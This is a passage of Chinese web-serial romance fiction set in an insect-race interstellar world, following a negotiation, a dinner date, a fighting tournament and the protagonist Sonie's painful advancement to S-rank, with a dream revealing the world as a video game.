索涅面无表情:“这里零下二十度,公然挑刺也不是为客之道。” 休伊斯:“我找您想谈正经事,对您有利的那种。” 索涅无动于衷:“请说。” “我们都知道,之前几次谈判都以失败告终,我也不跟您端着,我想让杀害我父皇的凶手被绳之以法,希望联盟拿出足额赔偿。” 索涅看了他两秒,说道:“你的飞行舰应该还没停稳,现在走还来得及。” “你不应该私下找我谈,坦白说,我精神状况不太好,你可能会下去陪你的父皇。” 休伊斯嘴角一抽:“您还真不委婉,明知我只是试探。” “你的试探我很不喜欢,缪林殿下,出门左转,会有虫带你离开。”索涅已经不想和他废话。 休伊斯仿佛永远抓不住重点,抑或是故意折磨联盟。 休伊斯停目光停驻于他桌上翻开的七八本书,继而开口道:“即便是艾浮的弱点,您也毫无兴趣?” 室内静寂。 索涅打开书,并未抬头,“说出你的条件。” “让乌尔加嫁给我。”休伊斯说道。 半晌,索涅嗤笑一声,饶有兴致:“他不是已经嫁给你了吗?” “现在被你囚在某个地牢里,你还不满足?” “我没有义务让您知道这些东西,您只需要告诉我,您能做到,还是不能做到。”休伊斯说道。 索涅也便直言:“抱歉,我无法做到。” “为什么?你是圣子,你有权利在谈判会上提出意见。”休伊斯紧接着问。 他意识到,主动权已不在他手上。 “我的雌君和安莫因委员长是好友,乌尔加又是安莫因的亲弟弟,我不会为了私欲反对安莫因的做法。”索涅说道。 “仅仅为了一只雌虫?”休伊斯感到一丝可笑,“雌虫不是多的是?” 索涅觉得这家伙真可笑:“那就把乌尔加还回来。你既然这么懂,不如再找一只替代品,反正满大街多的是。” 休伊斯一时沉默。 “你要的条件我给不了,慢走不送。” 索涅轻轻敲了敲桌子,一位侍者立刻进来,“休伊斯殿下,请跟我来。” 休伊斯深深地看了索涅一眼,转身离开。 他一走,索涅立刻将这件事秘密发给安莫因。 第二天的谈判会上,双方仍旧对峙着。休伊斯再次提出两族联姻。 安莫因这次却没有直接拒绝,而是面无表情地看着休伊斯。 “那么,休伊斯殿下,请问您觉得哪只雌虫适合加入你族,又是嫁给谁?”他语气冷淡。 索涅眼皮耷拉,听着他们唇枪舌剑。 休伊斯面不改色:“我最欣赏的雌虫是乌尔加·苏利亚,当然也最欢迎乌尔加上将嫁入我族。” 众虫沉默。 “真可惜,联盟已经没有这只虫了。”安莫因一副遗憾的语气,眼神却冷到掉冰碴。 休伊斯神情一变:“你们把他除名了?!” “不,”安莫因愈发显得气定神闲,“他在哪儿,我们谁也不知道,您还是换一只吧。” 索涅视线抬起,果然,休伊斯已经不知道该说什么。 “换一只可以从莫里斯联盟出嫁的雌虫,想必他的家族将以他为荣,我以苏利亚之名,为他添一份丰厚的婚前财产。”安莫因老神在在地说。 休伊斯却高兴不起来。 这让他怎么说? 说你弟弟就在我那儿,只要你同意就行。 “而且,我弟弟此前是间谍图泽的雌君,婚后生活长达八年之久,现在图泽未死,他的已婚身份还在,您不会是想强抢婚雌吧?”安莫因又说道。 休伊斯:“……” 这毛都商量不成的晨会,索涅是唯一一个来参加的圣子,左右都是八竿子打不着的陌生虫。他现在非常想和赫尔辛斯讨论讨论。 安莫因这嘶嘶喷射毒液的样子,真该录下来发给费伦斯。 第64章 格斗联赛 一周时间过得很快,…… 一周时间过得很快, 在索涅连轴转的时候,赫尔辛斯也忙着整理资产,他还专门去见了一趟法门, 毕竟其中很多产业都与恩其顿传统资产藕断丝连。 崽崽的状态越来越好, 不过经历这一次进化后仿佛一下子长大了很多。之前只比虫蛋大一点, 这次见到时却已经有五十厘米高。 索涅有些惊奇。 “唔, 等费伦斯确定吧, 我记得这种蜕壳式的成长属于返祖现象。”安莫因说道, 说着他抱起小崽崽,“小胖崽,笑一个。” 虫崽大眼睛看着他们, 他已经明白自己不可能得到雌父雄父的抱抱, 于是小嘴巴一瘪, 亮晶晶的泪珠挂在眼眶要掉不掉,看得索涅心疼死了。 走出研究院, 索涅正情绪低落,左腕手环突然接二连三剧烈震动。 他点开消息,一大串财产变动信息顿时涌现,另一个协议方署名为:赫尔辛斯·恩其顿。 索涅茫然地抬起头:“你在干嘛?” 想包养他? 雌虫眼里含笑:“按照律法,这是给您的赡养费。” “赡养费?你要开始养我了?”索涅揉了揉眼睛, 开始一个个地往后数零,三,六,九……十十十、十一个零?!! 他干笑:“这养五十个我都绰绰有余。” 救命, 拿回了财产的赫尔辛斯真的好富。 “我要努力挣钱,不然都赶不上你的消费水平了。”索涅嘀咕道,说着把这些钱原路打了回去。 “您不要?!”赫尔辛斯震惊出声, 漂亮的金瞳变得哀伤,“您为什么不要?!” 他好不容易不用让雄主养他,结果雄主竟然不要他的钱?这对雌虫来说未免太伤心。 “我哪儿用得了这么多,这样吧,为了庆祝你拿回财产,今晚请我吃顿大餐怎么样?”索涅掰过雌虫不情愿的脑袋,轻轻咬住钻牛角尖的虫虫。 赫尔辛斯身上的香薰太撩人,他亲着雌虫的唇,就有点不愿意离开。 雌虫气压更低了:“我以前从来没邀请您约会,第一次还是您提出来……” 他很难过。 他是一只失败的雌虫。 但他又很成功。 索涅从星网找到一家据说很浪漫贴心的餐厅,进去后不久他就发现了其中玄妙。 一雌一雄坐在一桌时,雄虫的菜单页面甚至没有结算按钮。 很好,很贴心,他的虫虫很为此高兴。 从窗户看出去,就是宽广的广场和巨大的胜利之剑雕塑,下方灯光绚烂,虫子们三三两两散着步。 索涅看到个有意思的店铺,正要和赫尔辛斯说话,餐厅突然灯光渐暗,包厢的门被轻轻敲响。 “您好,殿下,为您上菜。”外面的虫说。 索涅随口答应,接着和赫尔辛斯说起自己刚才看到的毛茸茸宠物店。 “我答应过您,要买一只宠物猫的。”雌虫懊恼道。 “好啦,待会儿一起去逛逛,说不定今天就可以找到一只不错的小猫。”索涅说道,看着赫尔辛斯的神色,他笑起来,“为了惩罚你遗忘我的心愿,你负责挑选宠物用品。” 索涅有那么一点选择困难症。 “殿下您要去毛尾巴宠物店?”服务员惊讶,“那家宠物店曾经有虐待猫咪的传闻,已经快倒闭了。” “我的猫对那家宠物店的洗护师很抗拒,所以我猜那大概有点可信度……”服务员说道。 索涅不得不将目光投给他一瞬,服务员几乎忘记呼吸,眼睛迅速地充满水雾。 索涅回头看了一眼桌子:“还有菜品么?” 赫尔辛斯也不出声,为索涅调整了一下餐盘位置,旋即旁若无人地说:“没有了,不过我突然想起粉红珍珠汤很和您的口味,要加一道菜吗?” “加吧,今晚我要宰你一顿。”索涅勾起唇。 赫尔辛斯瞥了一眼服务员,果然这家伙已经被迷得晕三倒四。 “你还要在这里站多久?” 服务员如梦初醒,眼见着索涅专心研究菜品,并没有留他的意思,只能不甘地离开。 服务员走后,索涅和赫尔辛斯一边品尝美食一边漫无边际地聊天。 “圣山的风真是又冷又硬,我感觉不适合虫崽崽。”索涅苦恼着这件事。 “没关系,雌崽身体素质很好,您还给科尔准备了那么多衣物玩具,他会很开心的。”赫尔辛斯安慰道。 索涅说:“住在圣山的话,科尔会没有玩伴。” 赫尔辛斯略一思索:“科尔还有个即将出生的叔叔,或许费伦斯殿下会把他养在身边?科尔可以和他叔叔一起玩” 索涅:“……”是哦,他也有个还没出生的虫蛋弟弟。 话说到这儿,赫尔辛斯想起一件事,“安莫因私下跟我说,他想公开他和费伦斯的关系,还有您是他们虫崽的事情。” “我以为所有虫子都看出来了。”索涅说。 赫尔辛斯笑:“他们反倒觉得费伦斯和安莫因有什么邪恶计划。” 谁会一下子相信一直敌对的两只虫忽然有一腿呢? “他让你吹枕边风?”索涅也笑起来,“你应该今晚床上跟我说,我肯定答应。” 赫尔辛斯却说:“我希望床上只有单纯的性,您不是一直致力于让我神志不清?我的目的和您一样。” 索涅差点儿呛到。 —— 格斗赛前夕,索涅和赫尔辛斯一起飞往西部波林湾,下榻圣斯酒店,所有参赛选手、主办方、参赛方、工雌都住在这里。 索涅意外地看到了久不露面的艾浮和西沙,甚至休伊斯也在。他伸出一根精神丝跟上去,发现休伊斯和艾浮离开的方向相同。 看来这家伙环顾一圈,决定和艾浮联手。 翌日开幕式,索涅和赫尔辛斯坐在一起。 他本来应该在参赛者席位,却碍于身份必须坐在前面当吉祥物,赫尔辛斯则是本次格斗联赛的特邀评委。 “你吓我一跳。”索涅低声说道,“不是要回避吗?” “他们临时邀请的,我只是决战评委,”赫尔辛斯说,“可能是因为我刚往里面投了一大笔钱。” 索涅:“……”好吧 ,如果他不是参赛者,可能雌虫都不一定会答应邀请。 “本次联赛,我们还迎来了一位难得一见的参赛者——索涅殿下,索涅殿下已经在圣托大学机甲战斗系学习近一年,作为数千年来第一位雄虫参赛者,拥有他是联盟的荣幸。” 主办方代表的长篇大论终于接近尾声,却突然提起索涅。 索涅顿时感觉落在自己身上的目光成倍增长。 他冷着一张脸,众虫也见怪不怪。 开幕式的直播间氛围热烈到爆,镜头突然拉近,界面只剩下索涅的一双眼睛,无数虫因为突然的对视内心尖叫。 其实索涅只是随意扫过,根本没意识到某个镜头正专注地拍他。 于是接下来所有虫都看到,索涅殿下和他的雌君眉来眼去,眼神拉丝,还说了几次悄悄话。 不等开幕式结束,有关索涅的话题已经爆了近百个,主星80亿网民对索涅殿下面冷心热的猜测越来越受推崇,各种集锦剪辑层出不穷,把雌虫们迷得嗷嗷叫。 有虫喜欢温柔的雄虫,就有虫喜欢高冷臭脸的雄虫,不巧的是索涅对外高冷对内温柔,简直精准挠了一群雌虫亚雌的心窝子。 晚上,索涅洗漱完坐在床上,他的雌虫却没给他一个眼神,而是在那儿抱着光屏看个不停。 “赫尔辛斯。”索涅侧躺着,见雌虫终于看过来,于是抛了个媚眼。 他这样一点都不魅惑,反而还挺可爱挺好笑,赫尔辛斯将手环关闭扔到一边,给他盖上被子,“今晚您好好休息,补足精神力。” 灯光熄灭,索涅搂着雌虫的腰,闭上眼和他靠近:“你不在我睡不着。” 赫尔辛斯勾起唇,轻轻吻了一下雄虫的唇角。 索涅轻啧一声:“别勾引我,睡觉。” 赫尔辛斯:“……” 他刚才真的无比纯洁。 —— 先进行的是精神力格斗术初赛,索涅的签号是560,排在较前的位置,他的对手则签号靠后。 虚拟世界中,精神力逐渐凝实出身体,战斗双方都隐匿容貌,因此各个直播间里观众乱窜,期望找到精彩的擂台。 第一个对手看起来块头很大,不过比较脆皮,索涅一道精神力就把他抽晕了过去,才耗时不到两分钟。 众多观众涌进这个直播间,发现已经提前结束战斗,顿时在小本本上记好获胜者的签号。 战斗双方实力悬殊的不在少数,谁也对不准哪个签号是哪只虫子,这只有系统知道。 所有擂台战斗结束,封闭式虚拟仓仓门打开时,索涅看到有十几只虫被抬了出去。 ……他不是故意的,只是没拿准对方的实力。 守卫们拦住蜂拥而来的摄像机和虫子,赫尔辛斯大步走到他面前,拿出一只补充剂抵到他唇边。 周围瞬间一静。 索涅低头吸走液体,随手拿过空壳扔进垃圾桶,随即和雌虫并排离开赛场。 他们的身影消失在四通八达的廊桥拐角,众虫们终于反应过来赶紧去拍其他热门参赛选手,摄像机嗡嗡嗡地震着马达一起飞走,这片区域才算彻底静下来。 守卫们满头虚汗,要拦住这些狂热分子,却又不能伤到,这是个技术活。 他们跟上前方队友,安静地缀在不远不近的地方。 “你不问问我赢了还是输了?”他们听到索涅殿下这么问。 “从您出来的一瞬间我就猜到了。”他身边的金发雌虫说道。 第65章 进阶 索涅隐隐地有点…… 索涅隐隐地有点不舒服。 他已经坐在虚拟仓中, 闭上眼睛的瞬间光景变换,面前出现一个圆形擂台。只有擂台范围内有苍白光线从头顶落下,其余皆是一片漆黑, 这种压迫感让他很不舒服, 想一把撕开这层黑暗, 将把他困在这里的虫子撕个粉碎。 第二轮采取大乱斗淘汰制, 由第一轮落败者先混战守擂, 最后胜出的十只虫可以点名挑战第一轮获胜者, 如果胜利,就可以取代对方进入第三轮。 索涅静静地等待着,心神却十分浮躁, 暴虐嗜血的欲望冲击着他的理智, 他不禁咬紧牙关。 外界观众场是一个极其经典复古的圆形斗兽场, 阶梯型座位层层上升,中央上空悬浮着淘汰赛的多角度直播间, 观众们讨论得热火朝天。 “这一届参赛选手感觉质量不行啊。”一只虫跟他同伴说道。 他同伴说:“是有点层次不齐,但强大的也是真强大,你看那几只雌虫,压根没虫敢去找他们茬。” 淘汰赛已经进行到白热化阶段,虫子们巴巴地到处观察, 猜测到底哪一只是索涅圣子。 不是他们看不起圣子,论精神力格斗,雄虫哪能和雌虫比?虽然听说索涅阁下有点实力,那又能厉害到哪儿去, 难不成还能超过雌虫? 这些已经跌落擂台的,或者堪堪挂在边缘垂死挣扎的,必定有一个是索涅。 不过显然有些虫子知道得更多, 索涅那个“蓝色行星”假身份也不是什么捂得很严实的秘密,如果能够看到索涅的战斗场景,相信一天之内他的马甲将全星际皆知。 但奈何第一轮里,索涅获胜得太快,谁都没发现其中端倪。 艾浮和西沙坐在贵宾席上,法门和科亚分别坐在他们旁边。 以前艾浮的初级晋级赛,也曾在星网掀起大范围讨论和赞美,他在精神力战斗方面的天赋强过西沙,他曾一度为此骄傲,但自从知道索涅就是那个蓝色行星,不仅能够和高级雌虫对战不被一巴掌拍死,还能游刃有余甚至迅速取胜,艾浮再也见不得有虫在他面前提他的晋级赛。 自从索涅出现,他在精神力战斗方面的荣誉就迅速消弭,索涅、圣子、强大这三个词牢牢绑定在一起,尤其是格斗联赛预热以来,他和西沙的热度加起来都没有索涅高。 艾浮无心观看比赛,但又必须坐在这儿充当吉祥物,脸部还得保持微笑温和,他瞥向旁边西沙,发现这家伙没比自己好多少。 艾尔斯拉公爵代表议会,休伊斯纯属凑热闹,两位圣子代表圣山,再加上他们的两位雌君,六只虫气氛诡异地僵持着。 艾浮现在极度厌恶法门,但他需要恩其顿取之不尽的财富,需要法门给他的精神力增长联结,不然他肯定要让法门这个胆敢给他戴绿帽子的浪荡雌虫付出代价! 艾浮表情阴沉一瞬,又勉强地保持住微笑。 在他的左边,西沙正貌似专注地盯着赛场,实则眼神不住地侧移,落在前方第一排的金发雌虫身上。 贵宾席和评委席之间有点距离,但盖不住赫尔辛斯气场强大,身上又有各种各样招眼的事情,因此周围观众和西沙一样,一只眼盯着赛场,一只眼偷窥赫尔辛斯。 突然,一直姿态闲适的金发雌虫瞬间暴起,单手撑着桌面翻过评委席,一股劲风迅猛地扑在观众脸上,等他们回过神,雌虫已经展开骨翼飞向高空,直奔某个虚拟仓。 “他要干什么!” “虫神啊!” 动作快的观众连忙按响警报,军雌们去比他们更快,乌泱泱地从各个地方拔地而起,骨翼卷着疾风扑向赫尔辛斯。 “虫神啊!有虫掉下来了!!”突然传来一道惊呼。 众虫顿时凝神,果然看到赫尔辛斯前方不远处,一只穿着黑色赛服的虫子犹如断线的风筝般从高空坠落。 骨翼轻柔又刁钻地转出一个角度,迅捷的拍打甚至快出残影。 “是索涅殿下!!”有虫惊呼。 众虫不禁屏息。 赫尔辛斯紧紧地盯着雄虫,骨翼疯狂地拍动,他伸出手想抓住雄虫的衣服,但还是差之毫厘,眼睁睁看着雄虫从他面前跌落。 他咬紧牙,瞬间变向扑向地面,骨翼拍打着空气,再加上身体自身的重量他比雄虫掉落地更快。 终于,在索涅砸到地上的前一秒,赫尔辛斯一把抓住他的衣领,迅速捞住他的膝弯,自己则是因为强大的惯性而狠狠地摔倒在地面。昏迷的雄虫趴在他怀里,毫发无伤。 众虫呆滞地看着这一幕。 直到一股海啸般强势的精神力扑面而来,如同高山倾颓,危机感让他们汗毛乍起。 赫尔辛斯也忍不住头皮发麻,受伤的骨翼翼刺蓬起,陡然觉得身上瘦削的雄虫千斤重。 “谁?!谁他么乱放精神力!”虫子们骂骂咧咧,一片骚乱。 有虫嘀咕:“除了那金头发家伙还能是谁。” 不过看来赫尔辛斯和索涅阁下感情不错,被吓得精神力都不受控制了。 军雌们也搞不清状况,主办方胆儿都快吓破了,连忙上前查看情况。 “殿下?殿下?”他靠近过去。 赫尔辛斯抱着身上的雄虫爬起来,再度张开骨翼飞进廊桥,舰场感应门瞬间开启,他抱着雄虫飞进飞行舰。 主办方看着一群同样拔地而起的守卫,呐呐道:“我们这儿有医疗队啊……” 这一场突发事件搅得在场所有虫心神不宁,都没心思看下半场,索涅圣子初赛就被淘汰还不幸进了医院的消息不胫而走。 但等挑战赛开始,他们突然发现等待挑战的获胜者悄然少了一位。 “……” so,索涅殿下是在虚拟仓里坐着坐着突然晕了? 有部分虫子却不禁深思。他们或多或少直面过赫尔辛斯的精神力,现在细想,刚才的精神力波动根本不属于赫尔辛斯。 但又是从赫尔辛斯的方向传过来的……不少虫心里一惊。 这里面首当其冲的就是法门和科亚,他们面色凝重,却默契地没有告诉两位圣子,而是悄然发布命令。 [密切关注S004行踪] [是] 闹剧结束,休伊斯继续目不斜视地看着赛场,不过眉头却不禁压低。 这种等级的精神力,赫尔辛斯难道要突破S级?他心里不断地猜测着,但他没有和赫尔辛斯对战过,心中猜测与实际情况偏了十万八千里。 赫尔辛斯只能庆幸这架飞行舰规格很高,必要时刻可以走特殊航道。 怀里雄虫烫得像个火炉,皮肤上却没有一滴汗珠。精神丝犹如睡醒的凶兽,将赫尔辛斯的身体团团围住,饥饿地不断撞击着他的精神域。信息素从雄虫身上弥漫,醇香到让他窒息。 赫尔辛斯被刺激地闷哼一声。雄虫的精神力似乎已经变了,富有压迫性的磁场下,似乎掩藏着甜蜜诱惑的糖果,不断地撩拨勾引着他。 赫尔辛斯努力地关闭精神域,却让雄虫瞬间暴怒,猛地睁开眼睛。 赫尔辛斯看着那双眼睛,不禁一阵失神。 犹如翻滚的星云般的浓郁蓝色,深邃至极,却像宇宙一样冷漠无情,好像根本不认识他,只是把他当成猎物。 雄虫的双眼寒光闪烁,趁他愣神的瞬间一口咬住他的脖颈,獠牙刺破柔软的皮肤,鲜血井喷般涌出,被雄虫一点点舔舐干净。 赫尔辛斯垂眸,看向他胸前黑色的发顶。 他现在不敢碰雄虫的精神力,若是咬他能让雄虫平静,那就咬吧。 雄虫就像个只有原始本能的野兽,他的温驯似乎获得了雄虫的喜爱和怜悯,雄虫舔舐着那小小的伤口,不再吸噬他的血液。 精神丝也和雄虫的动作一模一样,攻击性逐渐消弭,但强大的压迫感仍旧存在,当它们贴到后颈时,赫尔辛斯忍不住打了个寒颤。 凶兽的獠牙正贴着他的大动脉,但他不准备撕碎他吃掉他,而是缓缓地,一下一下地舔舐着他的皮肤,仿佛他是什么很香的东西。 赫尔辛斯不会意识不到雄虫的目的,他只能欲拒还迎地和雄虫调着情,免得雄虫真的发怒把他咬死。 索涅现在不记得他。 赫尔辛斯心里有一丝酸涩。 突然,雄虫用精神力将他紧紧包裹,密不透风,每一根精神丝都在试图钻进他的精神域。 雄虫突兀地呜咽一声,跌倒在他身上,痛苦地蜷缩起来。 赫尔辛斯慌忙低头,却嗅到一股浓重的血腥气。 他瞳孔骤缩。 半小时后,研究院内。 索涅全身浸泡在绿色营养液中,他疼晕过去,又被痛醒四五次,镇静剂渐渐麻木他的痛觉,他变得平静下来,陷入深深的昏迷中。 赫尔辛斯看到营养液中漂浮着几丝血迹。不光是因为渐渐生长扎破皮肤的尾钩,还有雄虫已经抓烂的五指,嘴唇也咬得布满血痕。 赫尔辛斯沉默地站在仪器前,脖颈手指布满抓痕咬痕。 “辛苦你了,这个时间比我预计得还要早。”费伦斯叹了一口气,“你也进治疗仓泡一会儿吧。” “小伤而已,雄主进阶大概需要多少天?”赫尔辛斯摸了一把脖颈,伤口已经结出薄痂,却仍然在隐隐作痛。 雄虫已经痛成那样,到底没有真的想发泄撕碎他,只留下几个深深的牙印,在他脖子旁边痛苦地喘着气。 “至少三周。”费伦斯说道。 “我记得我告诉过你,进阶时的雄虫很危险。”费伦无奈地说,“他的信息素进阶比较迟,你真该庆幸,不然一旦你被信息素迷晕,他真的会咬死你。” “不,他不会。”赫尔辛斯说。 费伦斯挑眉,却也没有反驳。 “看来他进阶的事瞒不住了,倒也没必要瞒,只要看到他,所有虫都会明白他是S级。我准备公布他的身份,他跟你说过他的想法吗?”费伦斯问。 “雄主不反对公开,”赫尔辛斯说道,“安莫因呢?您不打算给他一个名分?” 费伦斯无奈苦笑:“我敢不给吗?他真的会咬死我。” 赫尔辛斯一想倒也是,安莫因用不着他操心。 第66章 饥饿的索涅 一片雪白,没…… 一片雪白, 没有光,也没有边界。 祂低头看去,发现自己也不存在。祂是这片雪白的一部分。 这是在哪儿? 我又是谁? 我怎么会在这里? 祂很快就不再思考这些问题, 而是闭上眼继续安静地漂浮着。祂知道, 祂是这里唯一有意识的白, 这让祂觉得很无聊。 祂又睁开眼, 抓起一片雪白, 却发现雪白融进了祂, 而祂的颜色开始变得比周围深一丁点。 祂于是欢快地吞吃着周围的雪白,祂吃了很久很久,雪白们渐渐地被他全部吃完, 祂再次低头看去, 发现自己变成了一个奇形怪状的东西。 “雪白”被吃完后, 这里还是一片雪白,不过祂知道这里没有可以吃的“雪白”了, 于是祂漫无目的地漂浮着,很久之后,祂又开始厌倦这样,于是朝着一个方向不断地行走,越走越远, 越走越远…… 雪白渐渐消失,祂却并不惊讶,也不驻足观察,而是一股脑朝前走, 不停地朝前走。 终于,当某一刻那茫茫白色终于彻底消失不见,浮出现在祂面前的, 是一间装修简约的卧室,一个男人正坐在电脑桌前,屏幕上游戏里的战斗正激烈,他还有闲心不断和观众聊天说笑。 “想让我看剧情?等我输了再说,那玩意儿有什么好看的,磨磨唧唧就算了,竟然还是两个男人!” 祂不由自主地走到旁边,这个人却根本看不到他,专心地打着游戏。 “我靠!这架SS09真帅!我当初怎么脑子一热选的安斯族……我没做白日梦,我知道这是npc的机甲。” “等下……我靠!靠靠靠!!” “我机甲炸成烟花了!不愧是前期大boss,我输了,说吧,你们想让我看哪个剧情?” “OKOK,这么多留言板……点兵点将点到谁就是谁,‘哔哔啵啵’推荐看下一段剧情,圣子艾浮和法门的结婚典礼,虫族的?” “好吧,又是两个男人结婚,你们到底是对男同感兴趣还是对字母感兴趣?都感兴趣?哈哈哈哈……” 祂脑海里闪过一幅画面,下一秒,祂脑海里的画面就出现在这个人的电脑屏幕上。 虫族圣子艾浮,和恩其顿雌虫法门的结婚典礼。 法门的哥哥叫赫尔辛斯。祂突然想。 艾浮的哥哥叫西沙,西沙是赫尔辛斯的未婚雄主。祂接着想。 奇怪,祂怎么会知道这些?看起来就连这个男人也不知道。 “不过这个游戏的立绘确实不错啊,那些机甲画得帅死了……” “改天拍个视频给你们看看我的3D打印,这方面我可有点技术在身上。” “联机?不联机,主包是个社恐,看不出来吗?” “好好好我专心看剧情。” “这两只虫子根本没感情啊,你们爱看这种相爱相杀?” “啥?全死结局?” 祂突然后背一凉,浑身汗毛乍起,紧接着光景变幻,祂正站在一座神圣雪山上,看着下方干涸的血河。 祂知道,这是终局之战,圣山血染。虫族落败,举族为奴,前期出现过的角色全部死亡。 全都死了? 那……赫尔辛斯呢? 祂莫名地关注这只叫赫尔辛斯的虫子,祂也不知道为什么。 念头在心中一转,环境已经变换为一个狭窄逼仄的深井,周围墙壁挖满一个个深邃空洞,黑漆漆深不见底,却全部都空着。 祂精准地朝一个方向走了过去。 黑暗中,祂停驻在一个孔洞前,祂伸出手,轻松穿过三层不知道是什么的东西,摸到里面柔软温热的事物。 “唔……”里面的东西艰难地发出一点声响。 祂不禁探头进去,伸手想抱他,双手却直接穿过虫子的身体。 瞳孔骤然缩紧,光线不知从哪儿来,在虫子身上接连反射,然后进入祂的眼睛。 看清的一瞬间,撕心裂肺的疼痛让祂眼前发黑。祂扑在虫子身上,却只能徒劳地穿过他破败流血的身体,看着他痛苦地缩紧身体,看着他苍白的脸,看着他微弱却仍旧起伏的胸膛。 祂的泪水流在另一个维度,甚至无法浸润虫子破败的身体,祂流干了所有眼泪,呆滞地低头看着虫子。 虫子气息逐渐减弱,他腹部开始发出微弱的光线。 祂的眼里只剩下一片黑色,和奄奄一息的虫子那最后挣扎的光芒。 某一刻,世界安静得可怕。 祂缓缓地爬进孔洞里,和虫子蜷缩在一起,身影重叠的瞬间,祂仿佛又感受到那种温暖。 祂缓缓地闭上眼睛…… 时间与空间一起扭转折叠,将他们依偎的身影深深地掩藏在记忆深处。 索涅睁开眼,茫然地看着面前被绿膜覆盖的实验室,心脏的位置似乎还有抽痛的感觉,眼睛酸涩得像哭了几个小时一样。 他刚才好像做了一个梦,但梦的内容他已经完全不记得。 “赫尔辛斯……”索涅下意识轻声念着,然而他左右看去,没发现雌虫的身影。 他抿起唇,再度闭上眼睛。 不可否认,刚才那一瞬间的失落几乎将他击垮,胸口仿佛塌陷出一个幽深空洞,将他的意志吸食殆尽。 索涅昏沉地睡过去。 不知过了多久,实验室的门终于打开,几乎没发出任何声响,更何况还有一层高度隔音材料,然而他瞬间睁开眼,紧紧地盯住从门口走进来的雌虫。 雌虫似有所感,抬眼看过来,苍金色眼眸缓缓地睁大。 您醒了? 他看到雌虫的唇一张一合,然而他听不到任何声音。 索涅陡然焦躁,精神丝随之暴起,铺天盖地涌向金发雌虫,将金发雌虫紧紧捆缚拖向自己。 索涅仰头看着这只已经落网的漂亮猎物,唇角缓缓勾起。 这只雌虫是他的,已经被他抓住!跑不掉了! 雌虫试图说话,唇瓣刚张开,瞬间被无形的东西塞满,嫣红的舌尖被捆出明显的凹痕。 “您……唔呃……” 赫尔辛斯抓住在他脸上作乱的精神丝,扯到自己舌根发痛也无法挣脱,于是垂眼无奈地看着捣乱的雄虫。 索涅喉结一动。 他的猎物好漂亮,他好喜欢。 他现在似乎清醒着,又似乎神志不清。 索涅迫不及待地扬起拳头。 “嘭!”一阵沉闷巨响。 号称可以在磁流炮下毫发无伤的晶壁出现一道蛛网般的裂痕。 雌虫剧烈地挣扎起来,索涅还以为他要跑,顿时脸色阴沉,接连几拳砸在这碍眼的笼子上,成功砸出一个窟窿。 他双手伸出营养仓,握住残缺的边缘用力一扯,绿色营养液犹如河流般不断涌出。 雄虫缓缓地从一片泥泞中爬了出来,黑发湿漉漉地贴在眼睛上。他抬起头,对着呆滞的雌虫露出一个灿烂的笑。 面色苍白,唇瓣殷红,蓝宝石般的眼睛从发丝缝隙里露出,瞳孔缩成针尖大,彰显着他宛若疯狂般的兴奋。 赫尔辛斯头皮发麻。怎么会这样?已经进阶完成,雄虫却还是没有理智。 精神丝不断缩短,赫尔辛斯手脚包括舌头被捆得动弹不得,只能安静地看着疯疯癫癫的雄虫在他身上摸来摸去,湿漉漉的手掌十分冰冷,被他抚摸过的皮肤不由自主汗毛倒竖。 索涅摸完雌虫的修长的小腿,一把抓住柔滑的长发,拢在手里送到唇边,然后一口叼住。 呸,不好吃。 奇怪,看着这些金头发,他明明很饿,但虫虫的头发好像又不能吃。 “赫尔辛斯……”他委屈地叫。 到底该咬哪里? 雌虫眼睛一亮:“唔……嗯……”您还记得我? 索涅紧紧地盯着那不断蠕动的舌尖。 咕咚。 他响亮地吞了一口口水。 好馋好馋好馋! 精神丝瞬间撤退,还没等赫尔辛斯来得及说话,一个黑影犹如八爪鱼般扑在他身上,像小狗一样这舔舔那咬咬,赫尔辛斯的唇瓣很快传来一阵痛意。 “……很疼。”赫尔辛斯努力地说出两个字。 雄虫舔吻他的动作顿时停住,原本钢筋般的手臂悄无声息卸了力道。 他鼻尖一动,却先从自己嘴里尝到了一股铁锈味。 赫尔辛斯眼睁睁看着凶残的雄虫又悄咪咪爬回了营养仓里,蜷缩在角落当土豆。 “……” 他摸了摸自己的唇,忽而一笑。 这是一只犹如幼崽般,很情绪化的雄虫,虽然刚才一拳轰碎亚晶壁,不过这模样也怪可怜。 赫尔辛斯一步步走过去,故意加重脚步声。 雄虫蜷缩成一个球,面壁思过。 赫尔辛斯蹲在他身后,“雄主。” 雄虫不动。 “咬得我好疼啊。”赫尔辛斯轻声说。 雄虫蜷缩得更紧了。 “出来好不好?我很想您,想让您再亲亲我。”他诱哄着。 实验室门口,匆匆赶来的费伦斯一脸复杂。 “赫尔辛斯,我这个营养仓的营养液,一毫升五百星币。”费伦斯看着满地狼藉,还是有那么一点心痛。 赫尔辛斯站起来想和费伦斯说说现在的情况,原本不理他的雄虫却突然跳起来黏在他后背,双手双脚紧紧地搂住他。 几分钟后。 “所以,他失忆了?”费伦斯总结。 “不算失忆,他记得我的名字,也很依恋我。”赫尔辛斯说这话的时候,雄虫趴在他身上,一直试图咬他的头发。 发觉赫尔辛斯的纵容,敏锐的雄虫又开始作妖了。 费伦斯:“……我怎么感觉他不是失忆了,而是傻了。” “你和他一起进去,好好安抚他,免得又把我仪器砸烂。”费伦斯指着检查仪说。 这些仪器都是他的宝贝啊…… 仪器嗡嗡运作,雄虫机敏地竖起耳朵,赫尔辛斯连忙拉住他的手按到自己胸肌上。 索涅安静了。 费伦斯余光瞥到这一幕,神色复杂。 他的虫崽未免太过好色()。 “一切正常,他的精神力和信息素都已经是S级,连亚晶也拦不住他,细胞活性高得恐怖。” “雄主刚才没放出信息素。”赫尔辛斯皱起眉。 费伦斯一笑:“很显然,他刚才并没有把你当成繁衍对象,而是条件反射做出那些事,是一种心理上的饥饿。” 赫尔辛斯听懂了,不由耳朵发烫。 雄虫只想亲他咬他,没想×他。 “可能是爆发的能量刺激了海马体,以他现在的身体素质。回去睡一觉应该就好了,不过他的精神丝很狂躁,可能需要你帮他多梳理一下,等他清醒就可以自己控制。”费伦斯说道。 赫尔辛斯头一次听说雌虫梳理雄虫的精神域,不过他相信费伦斯的专业性。 看着挂在他身上的雄虫,他不禁头疼,要是让外虫看到索涅这副样子,明天的星网又要炸了。 他偷偷摸摸地把雄虫带回宫殿,避开所有侍者回到卧房。 雄虫鼻尖耸动着,模样还挺可爱。 赫尔辛斯刚倒杯水的功夫,再回头,雄虫已经卧在床上,卷着被子呼吸平稳。 “……”真会折磨他。 赫尔辛斯脱掉雄虫的衣服,仔仔细细地上下擦洗干净,也不给雄虫穿衣服,就让他光溜溜地躺在被窝里。 